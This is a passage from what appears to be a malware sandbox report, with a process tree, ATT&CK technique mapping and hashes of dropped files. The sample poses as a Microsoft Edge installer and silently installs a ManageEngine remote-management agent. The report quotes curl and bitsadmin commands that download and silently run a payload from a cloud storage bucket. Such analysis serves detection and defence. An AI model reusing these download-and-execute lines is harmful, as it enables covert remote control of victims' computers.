    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1096
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4916
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3320
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4352
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4832
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2408
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        
        PID:4624
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1612
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1100
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe" "https://jsdcnkjnasdn.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:3760
- - C:\Windows\system32\bitsadmin.exe
    "C:\Windows\system32\bitsadmin.exe" /transfer myJob_240856546 /download /priority foreground "https://jsdcnkjnasdn.oss-ap-southeast-5.aliyuncs.com/setup.exe" "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe"
    3⤵
    - Download via BitsAdmin
    PID:5580
- - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe
    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe" /S /norestart
    3⤵
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:6056
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:5684

C:\Users\Public\NvTelemetryYGqLZCwGlJXT.pol
C:\Users\Public\NvTelemetryYGqLZCwGlJXT.pol
1⤵
- Executes dropped EXE
PID:4888

C:\Users\Public\NvTelemetryCgIFfSwnwLaxPrMZ.pol
C:\Users\Public\NvTelemetryCgIFfSwnwLaxPrMZ.pol
1⤵
- Executes dropped EXE
PID:3084

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4040

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 265C027660D776460027E75891B80C34
  2⤵
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4068
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:3300
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
    3⤵
    - Executes a command shell one-liner
    PID:5884
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      PID:5524
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3164
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:6124
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "JGATYMDT\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:2956
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2760
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      PID:1232
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
    3⤵
    - Executes a command shell one-liner
    PID:6136
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
      4⤵
      PID:1544
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
    3⤵
    PID:1044

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
PID:4064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

client.p12

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
Size 1KB
SHA256 56392fc7dcbf8a7d5d23b8bb44ec922f53a349f75e72d398a18171e2ad4940a2
MD5 f2ba0b39fae404ebc9d6fe69e93662f8
SHA1 09cefeeb22df5bd4cce305d3ec89061aca4f4493
SHA512 b3586128fde416b4d527fdb3c08a8be2fa2ea86626bbffd9fc5fed35a94a355f2f73a8056553213f510cd76695d47599491e4b1dc507f84226a20dc56fcb069a
TLSH
T17A21E426A26D1042FF2A69D80ECD1C0285FADF0A1BB6950F76760BC90E6831DBCD9842
MD5 SHA1 SHA512 TLSH

Submit Download

7za.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
Size 839KB
SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
MD5 a5efe54df4f28f6d12adf840dc931b36
SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
TLSH
T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClientAuthHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
Size 3.1MB
SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
MD5 5e3325dc85cc12d8bfee900860aad196
SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
TLSH
T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentCryptoHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
Size 480KB
SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
MD5 5fffcb6c5222a8c135284688da03c53a
SHA1 01d0f499a855a787ccb4164460e6d233057062bc
SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
TLSH
T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_binaries.7z

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
Size 30.3MB
SHA256 14c836e431dc0b0c2accd2217dea7bfffaaa3fa97efa9332d1a9c83eebd89125
MD5 26999168590cfd73f5fc962800d34add
SHA1 45734c3709f8c0af9b917fbe1670bb102278c4a6
SHA512 88cfcec821fbaeae62ebe10316ae65fcf784bf6dc10d8009e0b289388adf0a1810f3460175b28f0dac5054555230f2d8b8d6045fd90a376bf996942e4c360b76
SSDEEP 786432:PZK2wN1mVmWY2FyQULbEINZa4avrmh4Jc6gBMlzk8hdLI:PY2wN1C1Y2GcIbaFmijgwQd
TLSH
T18A6733866B6CCCAEC0ACCDF2570683C150B3B7E2ACB9DD2553654572CC6DD6B0D890EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentregister.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
Size 244KB
SHA256 b75ac7d29be086f0dbfa902a06b99b29657a71cf03ae2705995e25d33d2fb5ae
MD5 df9c868eaecc31fae740c242b2683304
SHA1 08751e2c3eab82fd753bb540cdd6ba53ea34aecc
SHA512 b0bc1cc4730981a17aa4e0f94f326992120ccdc08debb25cb20dadaf5361f11294c353168ca61c42512fc2c1e5fc058029cc49f2b3a16de5e998ed933e70ec4f
SSDEEP 3072:9R7kbERpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTA/:9R7kbE5weorw3RrDpfNtnVCXkZrsaw0Z
TLSH
T185348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentservice.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
Size 1.5MB
SHA256 fc77ac12c4a368e1ef20666794a98d3bdbdc39bde9bf4f621bbda6bc5e3efd95
MD5 36135dd1fa1dd9da5a10285bf0ce9e90
SHA1 d0eeb92e9cab38344b8f9fa698de12c12fe78912
SHA512 e9ee3c239d22d4b6af1b96e068e043897490cb97d63fbdf9328c63b76877a2ef294b9fb648f867a6ab9d5e73394ab65dc0df96bb6c676be04bb7335ffe07ea87
SSDEEP 24576:S5vmwOhBD6195hbOx/1V8PtIJ2+2qzg/IPVJq67BnVxlxNyCsPtUt5eKI9yB5B:wJlbq4tIMgc8H1tVDryq8jqB
TLSH
T13875AE1372428031D6A100B15939ABB5AFBDAD681F31C4F3A3C499BDC5E05D2973EB7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcstatusutil.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
Size 1.3MB
SHA256 2793196a739777e279325897df9a0c67e29e62de4bc0e2460bd915d13242208f
MD5 e1813c4b07400391e20b324a5dd249c8
SHA1 e48dc7264920d72a2d60e6176486a03221018a2a
SHA512 65412ea005d2ecc402491171aeadaaacd59e2ea2beb1552867a1af000271aeace694f58cf2ae58e1163672f5ea126b67b0e63d8edccd37afc7c1ace171311abd
SSDEEP 24576:+HKI7BuEEcOfe5ThXgCuw4l2CBwAOVmbnRLKDnBGaUXqUI4PtEOY5EcE:0KI7BnBhRmltVBRKqq3G
TLSH
T11855BF1372428031D1B1C0F19529FB76AB6C9968676284F3A2C4DEBD11E09D26B3FB5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
Size 28KB
SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
MD5 91825b38605d333662195bd3b42c869c
SHA1 44a71532d39b9ddfcfd63914184a9d89f5315973
SHA512 545a8242463dfc52cd814c0cb205bdf181bb5882f12e0711db15fa2461afb99798b6682dc1cc09f33ebe502d13f599c84563931b1cc3167cdfd1fcc76c60e808
SSDEEP 384:02wm20Jj93SYQgw58QTGPyuAO8fv7TrpCEAdNbi1AKhHy9v9fp1Tc1aHz82aEgEV:0PY/P
TLSH
T188D24297991D096F022103889AAF76D3A6FCE434897318FEF8D25914AFD9C4A13737B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
Size 15KB
SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
MD5 cf5799838289c42502297f17ca89b49b
SHA1 fedc0c8cfb1f9776e096511f8adcd0be5309ca8c
SHA512 98eb1c47b5d10093e202c6259ace58d2e7ef4957c20892fbd067eaf0c88baba994337c2f1bd802191a0e31ca2b3fee72508559acf54a4653b8c2544b440f7556
SSDEEP 96:q0SOJbHBAO8bID3O0seObxtEr5r/Qn2sTLnnmI:q0BhBAO8b0Obx9nFLnnmI
TLSH
T19362D593A51D099F0222039999DF7AD3A1BC94384C7328FEF8C259256FDAC1923737B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

configuration-settings-dc-win10.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
Size 247KB
SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
MD5 ff5c89c88fe59a341aa4fe80b6f58215
SHA1 82f86c6bde49bef92565d6f23e79f84bcdc14e20
SHA512 16f1a2208c4c9af43635c676a3e2cad98f8d4fcac0facb91cb3d5b9f5e144c45e42978454783abbadd3f29d3d3d02b9f1a455b0ca0f59cd21bcfeaf3a777a3dd
SSDEEP 768:HtMVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAR:HtMzZZ1uSNABIpkIU1
TLSH
T1584417969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-framework.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
Size 413KB
SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
MD5 a450789f0d23503c895bafaed3d4be27
SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
TLSH
T13694B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-onpremise.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
Size 109KB
SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
MD5 b39316c180a11c7cbefd08019ad9c97d
SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
TLSH
T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
Size 1.6MB
SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
MD5 ac79e017281cd633fb90c06a19a180fc
SHA1 32f8af8ab7c9a9752e7e09b28bba08eb23e8fbd1
SHA512 68e39d64aabf8be54ca43ed34618da249f3869c33822cb09f3c121cad8bf7640b5533c1cc0f77cb5a1a9bd0e8e079339b609fbd29d2a597204b70b01b071ae8c
SSDEEP 49152:pIvq3iwEAiWbHTKRU0YCNDZK+/0KoEDKtKzK5xFKOQFKNoDKlW83wKFC+KFE20:2vqSwEPWbHTKi0YChZK+/0KoEDKtKzKd
TLSH
T1FF75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagent.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
Size 4.6MB
SHA256 b1ff95d7d62fc8d0d51d63dcd9f2f86bd4f077d57a5e02ba016cf4343d945453
MD5 0c796eaf7a85429f695e6a27e6706800
SHA1 1e2261134f5fd6ba0738d16a27685092cc810e0e
SHA512 f6b96440d6d2d1031ec95499591a2580d4c87d8dc03922436fed20e2293c7e5c1e5be1ed548962ab1b1e29619ca3078356459629381ff4a515b3450b116dd5d2
SSDEEP 98304:LlZqIPjmcbAlc1M9xWNPFt/7KF2f3YhAnxBQ:L/qIPNAlxjmTKEf3Y6xBQ
TLSH
T12836CF13BA43D070D9DE02B815BA9B7B5E3D89158B3084E3ABD028BD88B51D1673F76D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato.woff

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
Size 36KB
SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
MD5 171937a8fad6a1c8a37344d09d4fc20c
SHA1 834ef4f8bdf16e94383272f7024070cebc002cfe
SHA512 c65909a920b6de0b19e083bab695e8e2dc812c143910ee1e0e69e7141a85e9fae0b2332795d52957aba5829609cd66bcbd4045eddde4df98c0a20c306a64aa3c
SSDEEP 768:2vevzUxNXpUN3RRTe5fF7leCB8EumP7M+e265Cz7NIpYIOi+SLyyS:2vevKNZUtRRfCBXF2HCHmpY3i3OL
TLSH
T10303E1795E45653DC4B283B7A1D8E3AF340F0A087A50653C13A3C36D6ABC7083F529EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcmsghandler.ico

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico
Size 14KB
SHA256 2d92583e576b380e3d8246a5bdced4a205860d49d9ef66e4acde5007caefac24
MD5 3f93e0ea97079b1f5b356166db334740
SHA1 ea3022d31459c8904df1e8f406741960fe9ce653
SHA512 24584bb387c1981ac08f4266f7312444ee922486f1d20a3d9f655df09048e347c8c2df8be64e3ec99b8d603e4e088296a2abb3e68fc2e85eb5431efba3971c36
SSDEEP 384:1w////ncRy/wUwRRR0RRZRXUuPPPPPP3opSLhRRwyRRWFRRyRDRRjRRRRRKRRRR+:5C
TLSH
T182624886C4054ACDCADA9B33C6EE56BF8A9508B88007504503FC3DF5EB53B19FE6A14E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drop_down_icon.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
Size 449B
SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
MD5 60bd20b51eb0483e93aa6f4cb0a84288
SHA1 35ef5eed1eb03f4c5ce8b6314d5457fd6984d7a4
SHA512 f359e72fc17bebaeaf7ac520667f300213fa1c10775a6fee1d0af05573a610bbbb2dc7050644ddb5610c05873adbfb90042d8d3694c3038792127c982c77425f
TLSH
T1C3F023062DA90252D34DA62704FC8022DE9B89045AC0381CBB07DC7D2F4059555C9BDF
MD5 SHA1 SHA512 TLSH

Submit Download

info.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
Size 2KB
SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
MD5 d4893659007e98de701a47cd39991be3
SHA1 536c49e5da960171320d4df6c9e6b573bdf2d030
SHA512 6d1812768eaae453512e4b47f190ea7ecc4bd5a535bd9f5c168e770f1c88291a74f95947199be8468127e7756260c94e28b6430556da65170537c384cba0bc29
TLSH
T1EF41A58272C4BFFD10035713B01FF395161AE902CEADF6D32135B6A4AC11614436687B
MD5 SHA1 SHA512 TLSH

Submit Download

minimize_icon.svg

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg
Size 161B
SHA256 08615c639994bf55e78c4dc10bf2b69a505cc1f1e3802f21a809a434daf651fe
MD5 10006715631c28cd1cca4302987b6371
SHA1 6a69a91b69b7cf310bbb4295496d3314211de6f9
SHA512 6c43259b84e93b7ed9d6a7202fde26482b934bc8fc67f6963e55788a8cbb08116535b266c07821bb2835058102baf3831d838fff00efc84e9cbc57fd881cc0e5
TLSH
T19DC08C26C2ACCB594322C6B0AA28A220946E4092A884D0A595E34B245173872FD8D8DA
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 2KB
SHA256 666a8c2669097c6e695d23a729d20883edb886547fcdd367884e6b418c51c646
MD5 0b5900e55b128fb17130946993c29b9b
SHA1 c402edae9cd103d993475c7657f7b5ab316b8cda
SHA512 6424bd810da16bee73a7e4f62ee08501cadc22ee65b5ffcfc2f1acf5b4a860c4af72bab8a7452f94bf1ab9d9959950fc4c7f29169723a52b940fd51f226b85ef
TLSH
T1E751D592BDBB89491B0BB7DA7390FC446042104A748F88B2736D02AED75370AF76997C
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 3KB
SHA256 0ca5b9afb774e33157dc30673a69b8ef3893c2a1a838a112e3d048f919910b07
MD5 fb28131dfec1f518bb2a9f2bfc049a74
SHA1 501bc923bff8b1d50f63087849d4035011ba116a
SHA512 2f4e61d1eb090ba5d683103062738fefa921bfabb6a904fd6b6469147519544985aba16daf7e9588042531204343f8db3cf90e575918d750807f629af23db5f8
TLSH
T1D571E992BDBB89491B0BB7DA7390FC446042104A748F89B2736D019ED75370AF769C7C
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 4KB
SHA256 0a954acb25ec1b5e22637354256c1a5cc5df7edb0fcbb59398da0629f9794a2b
MD5 a357332312e89cb1217822641227c3c2
SHA1 b6b8a035c77e08c4083a534e776e1c0005d0ed6e
SHA512 642a76ce959504d511059b5f6ca4f3efb18ff1b383832324e68e554446f3ad24ef2ec8c72d8ef76aac3ab0e44437360600bee547703875d2a4a2284336d25db5
SSDEEP 96:eY0It4BXLgXyXHK9UXYXNazaXrXicXrXicXrXiHzwXGRXGoOswXY:90ItwXsXyXtXYXNXrXfXrXfXrX3XOXSo
TLSH
T16391E692BDBB89491B0B76DA7390FC446042104A748F89B2736D02EED79370AF765C7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentinstaller.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log
Size 11KB
SHA256 dc4e6d684ecdcf23f7e5a2c7a35fa0d678ae46d195a51ddcf4f27eaaef1adf96
MD5 cc24f775160badb9018cfc15c61228a2
SHA1 fead2dfbe04caaea08549bb523c58ea6e6dde2e2
SHA512 a59cd20889d2f30200a9d7542d7801295d18bb09389c1c3fbf7eb369d0d6120560d9b6c4116510175f6aca57821d90a5e43905bd32fecc67d5a54e0c42846f61
SSDEEP 96:t37YO/IBzf+997GHYh0GHcsbVFCOGh0GVIsRH2v0pqPGrowIi+xCbxMM8:tQzf+997G4h58UVF0h5VbAv1PYvw
TLSH
T11032AE22FED03061736955E5990C1F9B3BEB361F4483A9F4E798B882C559A1F2F6E034
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcrotatelog.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
Size 1KB
SHA256 039176e4e9182d39098864bbf2a9539dd394d642b0ea1f4bd21a6ccbd5dd85f0
MD5 21b9350e64583fac8c87f48bbb7a8d3b
SHA1 3ba1acc2a62e4a21cf9c4aaff61711cc5ade7d85
SHA512 73a3baa6c716106ac132c787b0a26d6f77d5a0501b16103fd7e5558930f70a5a92684221f24c50b7aa1ab902ce2f995c4a4d505820f5795a84203df6a74348f4
TLSH
T195311610B9A83572326E05D16B0C1F9633D37E560123FBB0A7A929D8E55DB193E6E034
MD5 SHA1 SHA512 TLSH

Submit Download

setAppPermission_Internal.bat

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat
Size 957B
SHA256 8b78e103d656d873fa2a5377dbef7fd92877005dad78fd3521556158453d8ab9
MD5 e300d6f5c088aee55f0b91f4efc72035
SHA1 97d081d6ea84780f8f556cc6dde8dadd10f09e63
SHA512 366f99f7c3387c5b45daf7d3875ddc246ed00d49bb846b5e21dcf3208b910a65d56cce5a211e13a8f10c698d44b4a814069b6ca06fb28a8614dbfdaf952bdea2
TLSH
T14611DC1EF610053C09AE7AD47BB00D66BA29E0E770151A5E3E06135DDF84A80BFB53DB
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA-Server.crt

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA-Server.crt
Size 1KB
SHA256 4147d6ae97c3d774954d14234201c3c3ec8db67b8c70f71fd60cc3dda5d4cee4
MD5 e46b3387fd03ae5b63ee185875cc721d
SHA1 6d5c00a79fae5a5d20708e8aa88c2ecc8413260d
SHA512 081af205cc5c3a538042adccdb3eb2cabc6982590a50571be04410ccfb79c8a62f3caceef561257b84bdb99b58e5c953df1a7d333614cd9329d4f376ede580a5
TLSH
T11221E6C82AA12C1770E3C798E53A111F58416F3D2CEFF5B800B92F4269935E146B6BC8
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA.crt

